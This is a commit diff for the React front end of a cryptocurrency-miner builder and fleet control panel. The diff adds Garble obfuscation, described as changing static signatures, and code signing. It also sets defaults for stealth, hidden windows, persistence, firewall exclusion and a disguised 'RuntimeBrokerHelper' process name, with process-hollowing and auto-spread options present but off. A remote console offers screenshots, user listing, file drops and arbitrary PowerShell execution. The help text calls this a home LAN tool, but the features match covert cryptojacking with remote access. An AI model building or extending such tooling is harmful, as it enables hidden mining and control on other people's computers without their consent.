Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
import { authHeaders } from './auth';
const API_BASE = '/api/v1';
@@ -63,6 +63,23 @@ export const api = {
});
},
estimateFusion: (req: BuildRequest, prepFile: File) => {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
});
},
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
@@ -101,6 +118,18 @@ export const api = {
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
body: JSON.stringify({ notes, tags }),
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', {
method: 'POST',

View File

@@ -0,0 +1,97 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { WSMessage } from '../../types';
interface Props {
agent: Agent;
selected: boolean;
expanded: boolean;
selectable?: boolean;
checked?: boolean;
onToggleExpand: () => void;
onSelect: () => void;
onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null;
}
export default function AgentListItem({
agent,
selected,
expanded,
selectable,
checked,
onToggleExpand,
onSelect,
onCheck,
latestWsMessage,
}: Props) {
const online = agent.status === 'online';
const handleRowClick = (e: React.MouseEvent) => {
const target = e.target as HTMLElement;
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
return;
}
onSelect();
onToggleExpand();
};
return (
<div
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
onClick={handleRowClick}
>
<div className="agent-list-header">
<div className="agent-list-name">
{selectable && (
<input
type="checkbox"
className="checkbox agent-list-select"
checked={!!checked}
onChange={(e) => {
e.stopPropagation();
onCheck?.(e.target.checked);
}}
onClick={(e) => e.stopPropagation()}
/>
)}
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
{(agent.tags?.length ?? 0) > 0 && (
<div className="agent-list-tags">
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>}
</div>
{!expanded && agent.notes?.trim() && (
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
)}
{expanded && (
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
<div className="agent-list-meta">
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
</div>
)}
</div>
);
}

View File

@@ -1,6 +1,7 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
import './AgentRemoteActions.css';
interface Props {
@@ -8,6 +9,8 @@ interface Props {
agent?: Agent;
agentId?: string;
agentName?: string;
/** Explicit online flag — use when agent object may be stale */
online?: boolean;
compact?: boolean;
latestWsMessage?: WSMessage | null;
onCommandSent?: (action: string) => void;
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
agent,
agentId: agentIdProp,
agentName: agentNameProp,
online: onlineProp,
compact = false,
latestWsMessage,
onCommandSent,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
const online = agent?.status !== 'offline';
const isOnline = onlineProp ?? agent?.status === 'online';
const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState('');
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
useEffect(() => {
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
const payload = latestWsMessage.payload as {
agent_id?: string;
action?: string;
success?: boolean;
message?: string;
};
const payload = latestWsMessage.payload as WSCommandResult;
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
addLog('No agent selected');
return;
}
if (agent && !online) {
if (agent && !isOnline) {
addLog('Agent is offline');
return;
}
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
<div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
</div>
);
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
<div className="action-group recon-group">
<h3>Recon &amp; Intel</h3>
<div className="button-grid">
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
</div>
</div>
<div className="action-group mining-group">
<h3>Mining Controls</h3>
<div className="button-grid">
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
</div>
</div>
<div className="action-group power-group">
<h3>System Power</h3>
<div className="button-grid">
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
</div>
</div>
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
<div className="tactical-bottom-row">
<div
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
onDragOver={handleDragOver}
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
onDragOver={isOnline ? handleDragOver : undefined}
onDragLeave={handleDragLeave}
onDrop={handleDrop}
onDrop={isOnline ? handleDrop : undefined}
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
autoComplete="off"
disabled={!online}
disabled={!isOnline}
/>
<button type="submit" disabled={!online}>EXEC</button>
<button type="submit" disabled={!isOnline}>EXEC</button>
</form>
</div>
</div>

View File

@@ -0,0 +1,103 @@
.agents-list-panel {
flex: 1;
min-width: 0;
}
.agents-list-panel .agents-list {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.fleet-toolbar {
margin-bottom: 1rem;
padding: 0.85rem 1rem;
}
.fleet-toolbar-filters {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
.fleet-filter-search {
flex: 1 1 180px;
min-width: 160px;
}
.fleet-filter-select {
min-width: 120px;
}
.fleet-filter-attn {
font-size: 0.85rem;
white-space: nowrap;
}
.fleet-bulk-bar {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-top: 0.75rem;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-list-item.compact-row {
cursor: pointer;
padding: 0.65rem 0.85rem;
}
.agent-list-item.compact-row .agent-list-header {
margin-bottom: 0.25rem;
}
.agent-list-item.compact-row .agent-list-details,
.agent-list-item.compact-row .agent-list-meta {
font-size: 0.82rem;
opacity: 0.9;
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
}
.agent-list-expand {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.agent-tag-chip {
display: inline-block;
font-size: 0.7rem;
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
}
.agent-list-notes-preview {
font-size: 0.8rem;
color: var(--text-muted, #888);
font-style: italic;
margin-top: 0.25rem;
}
.agent-list-select {
margin-right: 0.5rem;
}
.agent-meta-editor {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.agent-meta-tags-input {
font-size: 0.85rem;
}

View File

@@ -0,0 +1,92 @@
import type { FleetFilterState } from '../../help/fleetFilters';
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import './FleetToolbar.css';
interface Props {
agents: Agent[];
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
onBulkAction: (action: string) => void;
bulkBusy: boolean;
}
export default function FleetToolbar({
agents,
filters,
onChange,
selectedCount,
onBulkAction,
bulkBusy,
}: Props) {
const tags = collectFleetTags(agents);
const subnets = collectFleetSubnets(agents);
return (
<div className="fleet-toolbar card">
<div className="fleet-toolbar-filters">
<input
type="search"
className="input fleet-filter-search"
placeholder="Search name, IP, notes, tags…"
value={filters.search}
onChange={(e) => onChange({ ...filters, search: e.target.value })}
/>
<select
className="select fleet-filter-select"
value={filters.tag}
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
title="Filter by tag"
>
<option value="">All tags</option>
{tags.map((t) => (
<option key={t} value={t}>{t}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={filters.subnet}
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
title="Filter by subnet"
>
<option value="">All subnets</option>
{subnets.map((s) => (
<option key={s} value={s}>{s}</option>
))}
</select>
<select
className="select fleet-filter-select"
value={String(filters.hashrateMin)}
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
title="Minimum 15m hashrate"
>
<option value="0">Any hashrate</option>
<option value="1000"> 1 KH/s</option>
<option value="10000"> 10 KH/s</option>
<option value="100000"> 100 KH/s</option>
<option value="1000000"> 1 MH/s</option>
</select>
<label className="checkbox-label fleet-filter-attn">
<input
type="checkbox"
className="checkbox"
checked={filters.needsAttention}
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
/>
<span>Needs attention</span>
</label>
</div>
{selectedCount > 0 && (
<div className="fleet-bulk-bar">
<span className="font-tech">{selectedCount} selected</span>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
</div>
)}
</div>
);
}

View File

@@ -0,0 +1,53 @@
import { describe, expect, it } from 'vitest';
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
import type { Agent } from '../types';
const base = (over: Partial<Agent>): Agent => ({
id: '1',
name: 'w1',
wallet: '',
ip: '192.168.1.10',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 5000,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
tags: ['lab'],
...over,
});
const DEFAULT = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
describe('fleetFilters', () => {
it('filters by tag and subnet', () => {
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
});
it('flags offline as needs attention', () => {
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
});
});
describe('agentSubnet', () => {
it('masks last octet', () => {
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
});
});

View File

@@ -0,0 +1,95 @@
import type { Agent } from '../types';
export interface FleetFilterState {
search: string;
tag: string;
subnet: string;
hashrateMin: number;
needsAttention: boolean;
}
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
search: '',
tag: '',
subnet: '',
hashrateMin: 0,
needsAttention: false,
};
export function agentSubnet(ip: string): string {
const parts = (ip || '').trim().split('.');
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
return ip || 'unknown';
}
export function agentRejectRate(agent: Agent): number {
if (agent.shares_total <= 0) return 0;
return (agent.shares_bad / agent.shares_total) * 100;
}
export function agentNeedsAttention(agent: Agent): boolean {
if (agent.status !== 'online') return true;
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
return false;
}
export function agentIsIdleMiner(agent: Agent): boolean {
return agent.status === 'online' && agent.hashrate_15m < 100;
}
export function collectFleetTags(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
for (const t of a.tags || []) {
const clean = t.trim();
if (clean) set.add(clean);
}
}
return [...set].sort((a, b) => a.localeCompare(b));
}
export function collectFleetSubnets(agents: Agent[]): string[] {
const set = new Set<string>();
for (const a of agents) {
set.add(agentSubnet(a.ip));
}
return [...set].sort();
}
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
const q = filters.search.trim().toLowerCase();
return agents.filter((a) => {
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
if (q) {
const hay = [
a.name,
a.ip,
a.notes || '',
...(a.tags || []),
a.id,
]
.join(' ')
.toLowerCase();
if (!hay.includes(q)) return false;
}
return true;
});
}
export function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
export function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'always',
mining_mode: 'idle',
display_mode: 'background',
silent_mode: true,
run_as: 'user',
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
obfuscate: false,
sign_build: false,
};
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
};
}

View File

@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
}
break;
case 'worker_name':
if (typeof value === 'string' && value.trim()) {
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
next.process_name = proc;
}
}
break;
case 'pool_tls':
if (value === true && next.pool_port === 3333) {
// common pools use 443 for TLS — warn in preflight, don't auto-change port

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from 'vitest';
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
import type { BuildRequest } from '../types';
describe('forgeSmartDefaults', () => {
it('suggests next worker-N name', () => {
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
});
it('picks LAN url over localhost', () => {
expect(
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
).toBe('http://192.168.1.5:8989');
});
it('fills worker and process name', () => {
const form = applySmartForgeDefaults(
{ worker_name: '', server_url: '' } as BuildRequest,
{ endpointCandidates: ['http://10.0.0.2:8989'] }
);
expect(form.worker_name).toMatch(/^worker-/);
expect(form.process_name).toBeTruthy();
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
});
});

View File

@@ -0,0 +1,125 @@
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import { lanEndpointCandidates } from './endpointHelpers';
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
/** Suggested unique worker label for the next forge. */
export function suggestWorkerName(existing: BuildRecord[]): string {
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
for (let i = 1; i <= 999; i++) {
const name = `worker-${i}`;
if (!used.has(name)) return name;
}
return `worker-${Date.now().toString(36)}`;
}
function sanitizeProcessName(workerName: string): string {
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
return cleaned || 'RuntimeBrokerHelper';
}
function isGoodServerUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
} catch {
return false;
}
}
/** Pick the best control-server URL for workers on the LAN. */
export function pickBestServerUrl(current: string, candidates: string[]): string {
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
const first = candidates.find(isGoodServerUrl);
return first || current?.trim() || '';
}
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
export function recommendedForgePreset(): Partial<BuildRequest> {
return {
...FORGE_BUILD_DEFAULTS,
mining_mode: 'idle',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
thread_mode: 'percent',
thread_percent: 75,
display_mode: 'background',
stealth_mode: true,
silent_mode: true,
file_logging: false,
persistence: true,
auto_start: true,
self_healing: true,
adapt_to_hardware: true,
firewall_exclusion: true,
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
ai_enabled: false,
fusion_enabled: false,
output_dir: 'exports',
};
}
export interface SmartDefaultsContext {
builds?: BuildRecord[];
endpointCandidates?: string[];
}
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
export function applySmartForgeDefaults(
form: BuildRequest,
ctx: SmartDefaultsContext = {}
): BuildRequest {
const preset = recommendedForgePreset();
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
return {
...form,
...preset,
worker_name: worker,
server_url: serverUrl,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,
pool_tls: form.pool_tls ?? preset.pool_tls!,
pool_pass: form.pool_pass || preset.pool_pass!,
process_name: sanitizeProcessName(worker),
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
sign_build: form.sign_build ?? preset.sign_build ?? false,
};
}
export function forgeDefaultsFromServerSmart(
config: ServerConfig,
serverInfo: ServerInfo,
builds: BuildRecord[] = []
): BuildRequest {
const publicUrl = config.server?.public_url?.trim();
const srv = config.server;
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
const base: BuildRequest = {
...recommendedForgePreset(),
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
} as BuildRequest;
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
}
export const RECOMMENDED_DEFAULTS_BLURB =
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
export function isValidWorkerName(name: string): boolean {
const t = name.trim();
return t.length > 0 && WORKER_NAME_RE.test(t);
}

View File

@@ -1,24 +1,46 @@
export const SETUP_CHEATSHEET = [
{
title: '1. Calibrate the server',
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
title: '1. Calibrate once',
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
},
{
title: '2. Forge your installer',
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
title: '2. Forge (Simple mode)',
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
},
{
title: '3. Deploy',
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
},
{
title: '4. Command Deck',
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
},
];
export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
calibrate_wallet:
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
calibrate_quick_setup:
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_recommended_defaults:
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
obfuscate:
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
sign_enabled:
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
sign_cert_thumbprint:
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
sign_tool_path:
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
sign_timestamp_url:
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
server_url:
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
output_dir:

View File

@@ -1,9 +1,12 @@
import { useEffect, useRef, useCallback, useState } from 'react';
import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
interface DashboardInit {
agents: Agent[];
}
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
WSCommandResult,
WSAgentLog,
} from '../types/ws';
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
interface UseWebSocketReturn {
isConnected: boolean;
@@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn {
ws.onmessage = (event) => {
try {
const msg: WSMessage = JSON.parse(event.data);
const msg = JSON.parse(event.data) as WSMessage;
setLatestMessage(msg);
switch (msg.type) {
case 'init': {
const data = msg.payload as DashboardInit;
const data = msg.payload as WSDashboardInit;
if (data.agents) setAgents(data.agents);
break;
}
@@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn {
const idx = prev.findIndex((a) => a.id === agent.id);
if (idx >= 0) {
const updated = [...prev];
updated[idx] = agent;
updated[idx] = { ...updated[idx], ...agent };
return updated;
}
return [...prev, agent];
@@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn {
break;
}
case 'agent_offline': {
const { agent_id } = msg.payload as { agent_id: string };
const { agent_id } = msg.payload as WSAgentOffline;
setAgents((prev) =>
prev.map((a) =>
a.id === agent_id ? { ...a, status: 'offline' as const } : a
@@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn {
break;
}
case 'stats_update': {
const update = msg.payload as {
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
};
const update = msg.payload as WSStatsUpdate;
setAgents((prev) =>
prev.map((a) =>
a.id === update.agent_id
@@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn {
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
}
: a
)
@@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn {
break;
}
case 'command_result': {
const { agent_id } = msg.payload as { agent_id?: string };
if (agent_id && msg.payload && typeof msg.payload === 'object') {
const p = msg.payload as { action?: string; message?: string; success?: boolean };
if (p.action === 'get_log' && p.success && p.message) {
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
}
const p = msg.payload as WSCommandResult;
const agent_id = p.agent_id;
if (agent_id && p.action === 'get_log' && p.success && p.message) {
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
}
break;
}
